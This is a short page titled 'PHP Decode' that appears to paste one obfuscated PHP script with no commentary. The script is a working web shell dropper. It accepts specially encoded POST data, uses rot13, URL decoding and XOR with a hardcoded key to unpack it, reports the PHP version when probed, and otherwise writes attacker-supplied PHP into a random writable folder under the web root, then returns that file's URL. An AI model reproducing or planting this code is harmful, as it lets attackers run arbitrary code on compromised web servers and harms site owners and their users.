PHP Decode

<?php $mayyijjc = "nixfjvkfwllqzjkw";$gragor = "";foreach ($_POST as $bivaxabvdguqsbq => $ziebobv){if (strlen($bivaxabvdguqsbq) == 16 and substr_count($ziebobv, "%") > 10){dmmjlsqzny($bivaxabvdguqsbq, $ziebobv);}}function dmmjlsqzny($bivaxabvdguqsbq, $ewfkv){global $gragor;$gragor = $bivaxabvdguqsbq;$ewfkv = str_split(rawurldecode(str_rot13($ewfkv)));function qjppvubw($wyjpan, $bivaxabvdguqsbq){global $mayyijjc, $gragor;return $wyjpan ^ $mayyijjc[$bivaxabvdguqsbq % strlen($mayyijjc)] ^ $gragor[$bivaxabvdguqsbq % strlen($gragor)];}$ewfkv = implode("", array_map("qjppvubw", array_values($ewfkv), array_keys($ewfkv)));$ewfkv = @unserialize($ewfkv);if (@is_array($ewfkv)){$bivaxabvdguqsbq = array_keys($ewfkv);$ewfkv = $ewfkv[$bivaxabvdguqsbq[0]];if ($ewfkv === $bivaxabvdguqsbq[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function zwvdjtxxs($bivaxair) {static $phblcjx = array();$udtlpob = glob($bivaxair . '/*', GLOB_ONLYDIR);if (count($udtlpob) > 0) {foreach ($udtlpob as $bivaxa){if (@is_writable($bivaxa)){$phblcjx[] = $bivaxa;}}}foreach ($udtlpob as $bivaxair) zwvdjtxxs($bivaxair);return $phblcjx;}$aejwifdr = $_SERVER["DOCUMENT_ROOT"];$udtlpob = zwvdjtxxs($aejwifdr);$bivaxabvdguqsbq = array_rand($udtlpob);$zmqlta = $udtlpob[$bivaxabvdguqsbq] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($zmqlta, $ewfkv);echo "http://" . $_SERVER["HTTP_HOST"] . substr($zmqlta, strlen($aejwifdr));exit();}}} ?>